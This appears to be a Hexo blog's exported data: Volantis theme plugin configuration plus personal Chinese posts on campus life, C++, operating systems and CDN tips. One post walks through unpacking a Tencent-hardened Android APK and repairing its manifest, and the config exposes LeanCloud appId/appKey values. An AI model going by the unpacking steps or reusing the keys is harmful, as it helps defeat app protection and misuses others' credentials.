https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/054.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/056.jpg # APlayer is only available in mainland China. # APlayer config: https://github.com/metowolf/MetingJS aplayer: enable: #true js: aplayer: https://cdn.jsdelivr.net/npm/[email protected]/dist/APlayer.min.js meting: https://cdn.jsdelivr.net/npm/[email protected]/dist/Meting.min.js # Required server: netease # netease, tencent, kugou, xiami, baidu type: playlist # song, playlist, album, search, artist id: 3175833810 # song id / playlist id / album id / search keyword # Optional fixed: false # enable fixed mode theme: '#1BCDFC' # main color autoplay: false # audio autoplay order: list # player play order, values: 'list', 'random' loop: all # player loop play, values: 'all', 'one', 'none' volume: 0.7 # default volume, notice that player will remember user setting, default volume will not work after user set volume themselves list_max_height: 320px # list max height list_folded: true pjax: enable: true cover: true # 封面是否pjax处理 false:每次切换页面封面都重载,适合封面较少的情况 true:封面经过Pjax处理,适合封面较多的情况 timeout: 5000 # The timeout in milliseconds for the XHR requests. Set to 0 to disable the timeout. cacheBust: false # When set to true, Pjax appends a timestamp to skip the browser cache. animation: false # false, nprogress, circle banUrl: # 被屏蔽的 url 地址将不启用 pjax 跳转,可以在控制台下使用 window.location.pathname 获取 # - '/artitalk/' # artitalk 不支持 pjax # - '/bb/' # bbtalk 不支持 pjax # 从 issues 加载动态数据 # {% issues sites/timeline/friends | api=xxx | group=key:a,b,c %} # 例如: # {% issues sites | api=https://api.github.com/repos/volantis-x/examples/issues?sort=updated&state=open&page=1&per_page=100 | group=version:latest,v6,v5,v4,v3,v2,v1,v0 %} # 暗黑模式 darkmode # 样式:source/css/_plugins/dark.styl # 开关按钮:在 navbar.menu 中添加: # - name: 暗黑模式 # 可自定义 # icon: fas fa-moon # 可自定义 # toggle: darkmode darkmodejs: enable: #true # 旧版 Internet Explorer 淘汰行动 # https://www.microsoft.com/zh-cn/WindowsForBusiness/End-of-IE-support # 本主题不支持Internet Explorer的任何版本!!! killOldVersionsOfIE: enable: true # 禁用JavaScript提示 # 本页面需要浏览器支持(启用)JavaScript # 主题中的某些插件必须启用JavaScript才能正常工作,例如开启scrollreveal如果禁用JavaScript会导致卡片消失 killNoScript: enable: true # Artitalk https://artitalk.js.org # 配置过程请参考:https://artitalk.js.org/doc.html # 使用过旧版本的请修改Leancloud shuoshuo class部分列名:https://artitalk.js.org/release.html # 除appID和appKEY外均为选填项 artitalk: # Set `layout: artitalk` to enable in page # 配置项按照yml格式继续填写即可 appId: ogP8qj3veMh0LFpFWMPOyF0X-MdYXbMMI # your appID appKey: nHXLd3N3Jgh460t2iRQKWAtr # your appKEY # serverURL: #leancloud绑定的安全域名,使用国际版的话不需要填写 # lang: # 语言设置,zh为汉语,en为英语,es为西班牙语。默认为汉语 # pageSize: #每页说说的显示数量 # shuoPla: #在编辑说说的输入框中的占位符 # avatarPla: #自定义头像url的输入框的占位符 # motion: #加载动画的开关,1为开,0为关,默认为开 # bgImg: #说说输入框背景图片url # color1: #说说背景颜色1&按钮颜色1 # color2: #说说背景颜色2&按钮颜色2 # color3: #说说字体颜色 # cssUrl: #自定义css接口 # BBtalk https://bb.js.org bbtalk: js: https://cdn.jsdelivr.net/npm/[email protected]/dist/bbtalk.min.js # BBtalk.js appId: 0KzOX4vC7Jsk6vzUGNeEiUaI-gzGzoHsz # your appID appKey: HwCiWuxfpvKiLm4teCUgTIba # your appKEY serverURLs: https://bbapi.heson10.com # Request Api 域名 # Tidio聊天功能 # https://www.tidio.com/ tidio: enable: #true id: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 幻灯片背景blog/_config.volantis.ymlplugins: ... backstretch: enable: true js: https://cdn.jsdelivr.net/npm/[email protected]/jquery.backstretch.min.js position: cover # cover: sticky on the cover. fixed: Fixed as background for the site. duration: 20000 # Duration (ms) fade: 1500 # fade duration (ms) (Not more than 1500) images: # For personal use only. At your own risk if used for commercial purposes !!! - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg ... 幻灯片背景图片显示的位置可以选择粘贴在封面上,跟随封面一起滑动,也可以选择固定作为网页背景图片。 highlight.jsblog/_config.volantis.ymlplugins: ... # highlight.js highlightjs: enable: true # Please set hexo.config.highlight.enable = false !!! js: https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10/build/highlight.min.js css: https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10/build/styles/solarized-light.min.css # more: https://www.jsdelivr.com/package/npm/highlight.js?path=styles 如果需要使用 highlight.js 进行语法高亮,请将站点配置文件中的 highlight.enable 设置为 false 否则不会加载插件。您可以在 94 种 语法高亮主题 中挑选喜爱的主题,然后替换上面的 css 链接。 如果您使用 highlight.js 请确保没有使用 hexo 官方的 codeblock 标签,否则会报错。 经测试,使用 highlight.js 的情况下,部分容器内的代码可能仍然会被渲染甚至报错。 APlayer 音乐播放器blog/_config.volantis.ymlplugins: ... # APlayer is only available in mainland China. # APlayer config: https://github.com/metowolf/MetingJS aplayer: enable: true js: aplayer: https://cdn.jsdelivr.net/npm/[email protected]/dist/APlayer.min.js meting: https://cdn.jsdelivr.net/npm/[email protected]/dist/Meting.min.js # Required server: netease # netease, tencent, kugou, xiami, baidu type: playlist # song, playlist, album, search, artist id: 3175833810 # song id / playlist id / album id / search keyword # Optional fixed: false # enable fixed mode theme: '#1BCDFC' # main color autoplay: false # audio autoplay order: list # player play order, values: 'list', 'random' loop: all # player loop play, values: 'all', 'one', 'none' volume: 0.7 # default volume, notice that player will remember user setting, default volume will not work after user set volume themselves list_max_height: 320px # list max height list_folded: true APlayer播放器只可以在中国大陆地区使用。相关文档: APlayer | MetingJS 暗黑模式blog/_config.volantis.ymlplugins: ... # 样式:source/css/_plugins/dark.styl # 开关按钮:在 navbar.menu 中添加: # - name: 暗黑模式 # 可自定义 # icon: fas fa-moon # 可自定义 # toggle: darkmode darkmodejs: enable: true 结束支持blog/_config.volantis.ymlplugins: ... # 旧版 Internet Explorer 淘汰行动 # https://www.microsoft.com/zh-cn/WindowsForBusiness/End-of-IE-support # 本主题不支持Internet Explorer的任何版本!!! killOldVersionsOfIE: enable: true # 禁用JavaScript提示 # 本页面需要浏览器支持(启用)JavaScript # 主题中的某些插件必须启用JavaScript才能正常工作,例如开启scrollreveal如果禁用JavaScript会导致卡片消失 killNoScript: enable: true Artitalkblog/_config.volantis.ymlplugins: ... # Artitalk https://artitalk.js.org # 配置过程请参考:https://artitalk.js.org/doc.html # 使用过旧版本的请修改Leancloud shuoshuo class部分列名:https://artitalk.js.org/release.html # 除appID和appKEY外均为选填项 artitalk: # Set `layout: artitalk` to enable in page # 配置项按照yml格式继续填写即可 appId: ogP8qj3veMh0LFpFWMPOyF0X-MdYXbMMI # your appID appKey: nHXLd3N3Jgh460t2iRQKWAtr # your appKEY # serverURL: #leancloud绑定的安全域名,使用国际版的话不需要填写 # lang: # 语言设置,zh为汉语,en为英语,es为西班牙语。默认为汉语 # pageSize: #每页说说的显示数量 # shuoPla: #在编辑说说的输入框中的占位符 # avatarPla: #自定义头像url的输入框的占位符 # motion: #加载动画的开关,1为开,0为关,默认为开 # bgImg: #说说输入框背景图片url # color1: #说说背景颜色1&按钮颜色1 # color2: #说说背景颜色2&按钮颜色2 # color3: #说说字体颜色 # cssUrl: #自定义css接口 BBtalkblog/_config.volantis.ymlplugins: ... bbtalk: js: https://cdn.jsdelivr.net/npm/[email protected]/dist/bbtalk.min.js # BBtalk.js appId: 0KzOX4vC7Jsk6vzUGNeEiUaI-gzGzoHsz # your appID appKey: HwCiWuxfpvKiLm4teCUgTIba # your appKEY serverURLs: https://bbapi.heson10.com # Request Api 域名 Tidioblog/_config.volantis.ymlplugins: ... # Tidio聊天功能 # https://www.tidio.com/ tidio: enable: true id: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}],"posts":[{"title":"c++学习点","slug":"blogs/cplusplus","date":"2022-03-09T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2022/03/09/blogs/cplusplus/","link":"","permalink":"https://blog.aoian.cn/2022/03/09/blogs/cplusplus/","excerpt":"c++学习中的一些重要知识点","text":"c++学习中的一些重要知识点 1.基于范围的迭代 #include <iostream>#include<cstring>using namespace std;int main(int a,char* argc[]) { char site[5] = {'c','f','d','\\0'}; for (char &x: site)//基于范围的迭代{ cout<<x<<endl; /* 输出 c f d */} return 0;}","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"}]},{"title":"【win】更改 Python 的 pip install 默认安装依赖路径","slug":"blogs/changepipdir","date":"2022-02-21T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2022/02/21/blogs/changepipdir/","link":"","permalink":"https://blog.aoian.cn/2022/02/21/blogs/changepipdir/","excerpt":"Thonny —— 一个面向python初学者的 IDE","text":"Thonny —— 一个面向python初学者的 IDE 简介","categories":[{"name":"教程","slug":"教程","permalink":"https://blog.aoian.cn/categories/%E6%95%99%E7%A8%8B/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.aoian.cn/tags/python/"},{"name":"轉載","slug":"轉載","permalink":"https://blog.aoian.cn/tags/%E8%BD%89%E8%BC%89/"}]},{"title":"The reason why I go to school in Hunan","slug":"blogs/goto-hut-reason","date":"2021-06-28T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/06/28/blogs/goto-hut-reason/","link":"","permalink":"https://blog.aoian.cn/2021/06/28/blogs/goto-hut-reason/","excerpt":"","text":"有人问我可以去河北省内的大学,为什么还要到湖南那么远的地方? 其实不光是你在问我,我的内心也在问我自己。 那不给个理由,心里上也过不去,就说说吧。 首先是觉得自己没考好(我不认为我后悔了),上了跟同学一个学校的话,很不是滋味,其次是,可以算作一次旅行,毕竟自己也没有去过那么远的地方,然后呢,有时候我也不爱听方 言,认为讲自己听不懂的方言的人,就是很不好,自己有点偏见吧,希望这次,身处一个方言特别多 的地方,可以打破这种心里偏见。","categories":[{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/categories/%E6%A0%A1%E5%9B%AD/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"}]},{"title":"单片机学习笔记","slug":"blogs/danpianji","date":"2021-06-05T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/06/05/blogs/danpianji/","link":"","permalink":"https://blog.aoian.cn/2021/06/05/blogs/danpianji/","excerpt":"由于我对电子比较感兴趣,早年间又接触过win32下的逆向破解,了解点汇编,于是,我决定学习下单片机,顺便丰富下我对电脑汇编的知识。那么,问题来了,学STM32?还是Arduino?还是8051?","text":"由于我对电子比较感兴趣,早年间又接触过win32下的逆向破解,了解点汇编,于是,我决定学习下单片机,顺便丰富下我对电脑汇编的知识。那么,问题来了,学STM32?还是Arduino?还是8051? 一次偶然,我遇见了","categories":[{"name":"搞点东西","slug":"搞点东西","permalink":"https://blog.aoian.cn/categories/%E6%90%9E%E7%82%B9%E4%B8%9C%E8%A5%BF/"}],"tags":[{"name":"单片机","slug":"单片机","permalink":"https://blog.aoian.cn/tags/%E5%8D%95%E7%89%87%E6%9C%BA/"}]},{"title":"你不知道的那些电脑系统","slug":"blogs/system","date":"2021-06-05T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/06/05/blogs/system/","link":"","permalink":"https://blog.aoian.cn/2021/06/05/blogs/system/","excerpt":"","text":"来,我问问你都知道什么操作系统。什么?你说你只知道windows和Mac OS,再想半天,加个linux,那你也太差劲了吧,今天,咱们就来盘点下那些鲜为人知的电脑操作系统(linux家 常见的服务器系统今天不考虑)😅 Chromium OSChromium OS 是谷歌 Chrome OS 操作系统背后的开源项目,延续了 Chrome(Chromium)浏览器的特性,定位是一个快速、简洁与安全的操作系统。优点:轻量,快速缺点:生态不完善,软件比较少可安装软件:安卓,linux官网:http://www.chromium.org/chromium-os备用地址:https://www.neverware.com/open-source-software可能需要梯子或者代理 Phoenix OS一款基于安卓的多窗口桌面级操作系统网址: http://www.phoenixos.com/可安装安卓应用,但是现在看来官网不怎么火热了,加载进取都很卡,项目更新度比较差。 FydeOSFydeOS(原名 Flint OS,于 2018 年 6 月正式更名)基于驱动 Chrome OS 及谷歌浏览器的开源项目二次开发,融合自主专利技术,继承 Chrome OS 所有特性,适配更多硬件品类,为中国学生而定制的本土化修改。极速响应永不变慢在一个 OS 平台上更好地运行网页程序 + 安卓程序 + Windows 程序 + Linux 程序账号数据云同步操作简单,安全稳定无打扰式更新在千元机上实现优质体验,流畅使用 5-10 年,超高性价比支持的设备很多,包括树莓派官网:https://fydeos.com/ android-x86这是把安卓的系统适配了电脑平台,更新非常快,可能适配不完善吧官网地址:https://www.android-x86.org/","categories":[{"name":"资源收集","slug":"资源收集","permalink":"https://blog.aoian.cn/categories/%E8%B5%84%E6%BA%90%E6%94%B6%E9%9B%86/"}],"tags":[{"name":"系统","slug":"系统","permalink":"https://blog.aoian.cn/tags/%E7%B3%BB%E7%BB%9F/"}]},{"title":"16型人格测试","slug":"blogs/16personalities","date":"2021-05-29T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/29/blogs/16personalities/","link":"","permalink":"https://blog.aoian.cn/2021/05/29/blogs/16personalities/","excerpt":"","text":"16型人格测试,测试出你是哪个类型的,得到一个具体而准确的对自己的描述,了解你行事方式背后的原因。测试整的很好,但是我还没测,你有空测测吧。 入口在此:测试入口","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/tags/%E4%BA%BA%E7%94%9F/"}]},{"title":"5月日记","slug":"blogs/21_5","date":"2021-05-29T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/29/blogs/21_5/","link":"","permalink":"https://blog.aoian.cn/2021/05/29/blogs/21_5/","excerpt":"","text":"好久没更新文章了额,原因是我的上课的C语言程序设计书借给别人,然后他给弄丢了, (啊这,好像扯不上任何关系) 事实是我去搞前端的网址导航了,非常想要一个Vue风格的网址导航,很喜欢格栅导航 这是一个基于 Spring Boot + Vue 前后端分离的导航网站系统,后端需要搭建JAVA环境要有SQL数据库,还要Redis缓存数据库(某个网站可以白嫖5兆空间),前端还好说,后端需要服务器,虚拟主机肯定不行 于是,穷的我就只能默默的点个star来了,没办法用, 用过全静态的,数据全部储存在一个json文件里,但是,用着用着,就觉得太费劲了。手动添加各种东西,太麻烦了,也放弃了。 哎呀,看到另一个Vue项目极客猿梦导航,前端Vue,后端只需要个MongoDB数据库,这个数据库官方可以白嫖500兆的空间,后端部署 比较简单,这样就可以搬到Heroku(一个提供免费容器服务的平台)上去。 有了想法,开干,源代码2020年的,过了一年,现在是各种依赖包的问题,不知道为什么作者不维护了,issues不回复,qq群也不回复,无奈。 只能自己开整,耗时一个月,都整好了,主题也高仿了格栅导航,结果 放到Heroku上却出问题了,就是运行不了,看了log,编译正常,不知道那个容器除了什么问题,无奈,只能放弃。 其实也不算太亏,在搞的过程中,我也明白了好多前端知识,这一整,耽误了单片机学习和C语言的学习。","categories":[{"name":"搞点东西","slug":"搞点东西","permalink":"https://blog.aoian.cn/categories/%E6%90%9E%E7%82%B9%E4%B8%9C%E8%A5%BF/"}],"tags":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/tags/%E4%BA%BA%E7%94%9F/"}]},{"title":"My School","slug":"blogs/hut","date":"2021-05-29T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/29/blogs/hut/","link":"","permalink":"https://blog.aoian.cn/2021/05/29/blogs/hut/","excerpt":"这将是一篇贯穿我的大学四年的文章,我将用这一篇文章描绘我大学4年的点点滴滴。","text":"这将是一篇贯穿我的大学四年的文章,我将用这一篇文章描绘我大学4年的点点滴滴。 购物北苑:配眼镜的话去北苑,有个 精益眼镜店,价格合适,老板态度很好。东苑:就是一个字:贵!“特价”超市,还有“特价餐厅” 情感有个比较好的QQ表白墙,刚来学校的时候,觉着这东西很涨知识,女同性恋,男同性恋。。。。。。。吃各种瓜🍉 现在就觉着没时间看,知识已经涨完了,也就偶尔吃吃瓜吧。 课堂1.这是近代史结课,作报告的时候,我被偷拍了,(其实也不算偷拍了),光明正大的被拍了 ,摄影:小黄同学","categories":[{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/categories/%E6%A0%A1%E5%9B%AD/"}],"tags":[{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/tags/%E6%A0%A1%E5%9B%AD/"}]},{"title":"My Middle School","slug":"blogs/luanpingyizhong","date":"2021-05-29T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/29/blogs/luanpingyizhong/","link":"","permalink":"https://blog.aoian.cn/2021/05/29/blogs/luanpingyizhong/","excerpt":"我的高中也太行了,都有了自己的宣传片了,在此,我必须要收藏下。","text":"我的高中也太行了,都有了自己的宣传片了,在此,我必须要收藏下。 未完待续","categories":[{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/categories/%E6%A0%A1%E5%9B%AD/"}],"tags":[{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/tags/%E6%A0%A1%E5%9B%AD/"}]},{"title":"那些极品影视","slug":"blogs/yingshi","date":"2021-05-15T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/15/blogs/yingshi/","link":"","permalink":"https://blog.aoian.cn/2021/05/15/blogs/yingshi/","excerpt":"","text":"一起看看那些剧吧1.禁忌女孩2.狗十三","categories":[{"name":"娱乐","slug":"娱乐","permalink":"https://blog.aoian.cn/categories/%E5%A8%B1%E4%B9%90/"}],"tags":[{"name":"影视","slug":"影视","permalink":"https://blog.aoian.cn/tags/%E5%BD%B1%E8%A7%86/"}]},{"title":"大学的日子,我很着迷","slug":"blogs/daxuederizi","date":"2021-05-05T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/05/blogs/daxuederizi/","link":"","permalink":"https://blog.aoian.cn/2021/05/05/blogs/daxuederizi/","excerpt":"你的大学是什么样子的呢?","text":"你的大学是什么样子的呢? 大一的我:入学非常期待,想要谈个恋爱,无奈长得不帅,没有胆子搭讪。试试依靠内在,各种套路拉满,学生会和社团,努力表现存在。然而都是扯淡,做事做到手烂,跑腿跑到脚断,妹子当我傻蛋再看学长那块,每日艳遇不断,虽然屁事不干,公费谈情说爱。期未临头大难,高数差点零蛋,最后勉强过关,吓出一身冷汗大一找对象,宣告失败! 大二的我:决定改头换面,改用投资策略,新生群里踊跃,终于学妹出现自感情窦初开,每日嘘寒问暖,天天约人吃饭,过节礼物不断鼓气勇气表白,学妹眼泪一串,喜欢算是喜欢,但还需要试探饭后试图牵手,她说无法接受,闭蜜都说你丑,保密才能长久吃请礼物照收,观念及其保守,甘愿沦为舔狗,帅哥出手抢走。新欢秒杀旧爱,保守怎能野战?当场搞崩心态,哭到天昏地暗大二经历,太惨太惨 大三的我:知乎教人提升,看得热血沸腾。健身房里扎根,图书馆里坐镇月月都在考证,天天早起跳绳,只盼知乎是真,从此一帆风顺怎料美梦成真,妹子果直上门。以为偶像学神,实际是工具人聊天只讲学习,见面全是做题,考前郎情妾意,考后人间绝迹。历经各种磨难,每曰长吁短叹。总算回头是岸,单身以保平安。室友很讲义气,带我入坑游戏。人说话又好听,皮肤卖得便宜大三发现,为啥不旱点开始打游戏!大四的我论文不能大意,还要忙着实习,不能荒废游戏,哪有恋爱精力。导师不回微信,工作没有消息,实在有些着急,游戏让我愜意大学读到此处,终于明白清楚。一切都会结束,只有游戏永驻大事一经敲定,立刻游戏不停,匆匆数月过去,毕业悄悄来临离校偶遇学弟,眼神满是精气,想到当年自己,勾起满腔回忆一切都是天意","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"}]},{"title":"客服亦不易","slug":"blogs/kefu","date":"2021-05-03T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/05/03/blogs/kefu/","link":"","permalink":"https://blog.aoian.cn/2021/05/03/blogs/kefu/","excerpt":"碰到了腾讯客服反馈的问卷,那就填填吧","text":"碰到了腾讯客服反馈的问卷,那就填填吧 当网友因个人纠纷在QQ上发生谩骂并举报对方,你觉得腾讯举报中心应该如何受理? 个人纠纷无法判断对错,不应该处罚 视举报证据是否充分而定,证据有效就处理,证据无效就不用处理 个人纠纷无法判断对错,不需要平台监管 只要参与了谩骂,就应该进行封禁等处罚 其他———— 我不太清楚/无所谓 我估计我只能勾选最后一个了,不知道大家怎么选","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"}]},{"title":"一束玫瑰花的联想","slug":"blogs/flowers","date":"2021-04-23T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/04/23/blogs/flowers/","link":"","permalink":"https://blog.aoian.cn/2021/04/23/blogs/flowers/","excerpt":"一束花,一个作文题,几篇小说。","text":"一束花,一个作文题,几篇小说。 起因 我在去学校西操场的路上,看见一束花被丢弃在垃圾桶旁边,我没有管,只是悄悄的走了过去。 发展 当晚,就有人发了表白墙,内容是让大家看一看这是怎么回事。 第二天,有人竟然以这花为内容出题,号称让工大学子来答题。 高潮 第三天,投稿纷纷来袭。这里给大家瞧瞧。 结语","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"},{"name":"校园","slug":"校园","permalink":"https://blog.aoian.cn/tags/%E6%A0%A1%E5%9B%AD/"}]},{"title":"自选cdn白嫖clodflare pro","slug":"blogs/cdn-byown","date":"2021-04-11T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/04/11/blogs/cdn-byown/","link":"","permalink":"https://blog.aoian.cn/2021/04/11/blogs/cdn-byown/","excerpt":"想白嫖cloudflare(简称cf)的专业版计划?","text":"想白嫖cloudflare(简称cf)的专业版计划? 那我建议你去看看云筏科技 ,可能会有意想不到的收获,要是自选cf的cdn节点,可以去https://cf.9sep.org/ 备注一些小技巧: 云火焰公布的ip地址 查看:https://www.cloudflare.com/zh-cn/ips/ 测速的话,在这个地址进行:https://www.ce8.com/ping 关于查看访客的真实ip地址:https://{加速域名}/cdn-cgi/trace","categories":[{"name":"网站设计","slug":"网站设计","permalink":"https://blog.aoian.cn/categories/%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/"}],"tags":[{"name":"cdn","slug":"cdn","permalink":"https://blog.aoian.cn/tags/cdn/"}]},{"title":"CTF自学之路","slug":"blogs/ctf","date":"2021-04-05T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/04/05/blogs/ctf/","link":"","permalink":"https://blog.aoian.cn/2021/04/05/blogs/ctf/","excerpt":"","text":"ctf,即所有的信息安全知识,我来了。本文将介绍所有的学习历程。慢慢刷题啦。","categories":[{"name":"信息安全","slug":"信息安全","permalink":"https://blog.aoian.cn/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"}],"tags":[{"name":"ctf","slug":"ctf","permalink":"https://blog.aoian.cn/tags/ctf/"}]},{"title":"关于性我想说的话","slug":"blogs/about-sex","date":"2021-03-27T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/27/blogs/about-sex/","link":"","permalink":"https://blog.aoian.cn/2021/03/27/blogs/about-sex/","excerpt":"”性“,一个中国人不愿意提起的事,一个令人面目改色的词。ヾ(´・ ・`。)ノ” 这次,我来说。","text":"”性“,一个中国人不愿意提起的事,一个令人面目改色的词。ヾ(´・ ・`。)ノ” 这次,我来说。 或许,有人认为女孩有月经就认为是羞耻的⌇●﹏●⌇,又或许,每次生理课都自学成才╮(╯▽╰)╭ 。 又或者,你是否和我一样,每次到卖卫生巾的地方就匆匆离开,不敢稍加停留。还有为什么女孩纸买个卫生巾要必须用个不透明的袋子装起来?!!究竟怎样,我们才能真的不再有性的歧视?我不知道,可能要很长时间吧。之前看的日本的片子–17.3关于性,我觉得非常好看。在中国来说,很大胆,我觉得在中国,反正这个一百年是不可能出现的。很有教育意义,这次给大家安排的教育片子是《开得了口:家长性教育课程》。 开始观看 小孩看了不烧脑,大人看了不上头。","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"畅谈","slug":"畅谈","permalink":"https://blog.aoian.cn/tags/%E7%95%85%E8%B0%88/"}]},{"title":"大一下学期规划","slug":"blogs/flag1","date":"2021-03-22T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/22/blogs/flag1/","link":"","permalink":"https://blog.aoian.cn/2021/03/22/blogs/flag1/","excerpt":"","text":"大一下学期1.学习完51单片机 2.学习完c语言 3.看完慕课上的2个大学计算机基础课程 大二上学期1.web安全课 2.计算机网络(韩立刚) 3.计算机操作系统","categories":[{"name":"人生","slug":"人生","permalink":"https://blog.aoian.cn/categories/%E4%BA%BA%E7%94%9F/"}],"tags":[{"name":"目标","slug":"目标","permalink":"https://blog.aoian.cn/tags/%E7%9B%AE%E6%A0%87/"},{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"}]},{"title":"“hut专用路由器”捣鼓教程","slug":"blogs/hut_router","date":"2021-03-16T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/16/blogs/hut_router/","link":"","permalink":"https://blog.aoian.cn/2021/03/16/blogs/hut_router/","excerpt":"早在大一开学,我就在某宝买了40元的二手极路由1s路由器,刷的是H大的老毛子系统,今天介绍介绍捣鼓的经历。","text":"早在大一开学,我就在某宝买了40元的二手极路由1s路由器,刷的是H大的老毛子系统,今天介绍介绍捣鼓的经历。 安装老毛子1.学校用的锐捷认证,所以我们要安装上mentohust插件,这个插件是专门对付锐捷认证的,不会装,不用担心,这个路由器固件已经内置好了,上次搞了openwrt系统,结果那个系统对mentohust插件很不友好,还得捣鼓,太麻烦 配置插件2.配置如下:[每个学校可能都不要一样](举个例子) 用户名:20406000607@电信组播地址:1锐捷dhcp方式:1二次认证是否后台:是版本号:4.96其他的设置项默认就行3.然后开启插件,应用。","categories":[{"name":"搞点东西","slug":"搞点东西","permalink":"https://blog.aoian.cn/categories/%E6%90%9E%E7%82%B9%E4%B8%9C%E8%A5%BF/"}],"tags":[{"name":"原创","slug":"原创","permalink":"https://blog.aoian.cn/tags/%E5%8E%9F%E5%88%9B/"},{"name":"路由器","slug":"路由器","permalink":"https://blog.aoian.cn/tags/%E8%B7%AF%E7%94%B1%E5%99%A8/"}]},{"title":"安卓脱壳之战-某讯脱壳","slug":"blogs/qqjiagu","date":"2021-03-13T06:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/13/blogs/qqjiagu/","link":"","permalink":"https://blog.aoian.cn/2021/03/13/blogs/qqjiagu/","excerpt":"今天来个qq的壳子","text":"今天来个qq的壳子 准备我们今天来脱壳,一样的工具:反射大师虚拟大师MT管理器 今天脱壳的软件程序:全力万花筒 可以看到是qq御安全加固,我们接下来和以前一样先脱壳,我们打开虚拟大师导入并安装软件 打开反射打开并选择这个软件,点击打开 接着我们等待加载到主界面,点击中间的图形,然后和昨天一样写出dex文件 接着我们把写出的dex文件导入到本地!然后我们在MT管理器找到软件位置VMOSfiletransferstation这个文件夹里,然后删除不需要的classes.dex文件,点击修复它 修复了之后把classes.dex原文件删除,把修复的classes_fix.dex重命名为classes.dex 上面的就是dex脱壳的教程,几乎通用大家可以记记! 接下来就是apk修复教程了,大家用小本本记好!! 首先我们找到加固的原安装包,点击一下选择查看 继续点击classes.dex文件,选择dex++方式打开 然后我们依次点击com/wrapper.proxyapplication/WrapperProxyApplication 点击打开,然后复制第一个类似包名的东西,应该是classNAME的上一行或者下一行的 返回到主界面点击AndroidManifest.xml,选择反编译 然后和60加固一样我们搜索<application替换里面的android:name这里,把我们复制的替换进去, 然后点击保存返回更新,取消自动签名 接下来,我们删除加固里面的classes.dex文件,取消自动签名 然后把脱壳好的文件直接添加进来,打钩自动签名 到主界面这里已经脱壳+修复完成了!我们点击软件看到已经是伪加固了","categories":[{"name":"逆向","slug":"逆向","permalink":"https://blog.aoian.cn/categories/%E9%80%86%E5%90%91/"}],"tags":[{"name":"加固","slug":"加固","permalink":"https://blog.aoian.cn/tags/%E5%8A%A0%E5%9B%BA/"}]},{"title":"安卓的脱壳之战-邦邦脱壳","slug":"blogs/bangbangjiagu","date":"2021-03-13T05:49:42.000Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"2021/03/13/blogs/bangbangjiagu/","link":"","permalink":"https://blog.aoian.cn/2021/03/13/blogs/bangbangjiagu/","excerpt":"日期:2020年6月 今天是邦邦加固的壳!","text":"日期:2020年6月 今天是邦邦加固的壳! 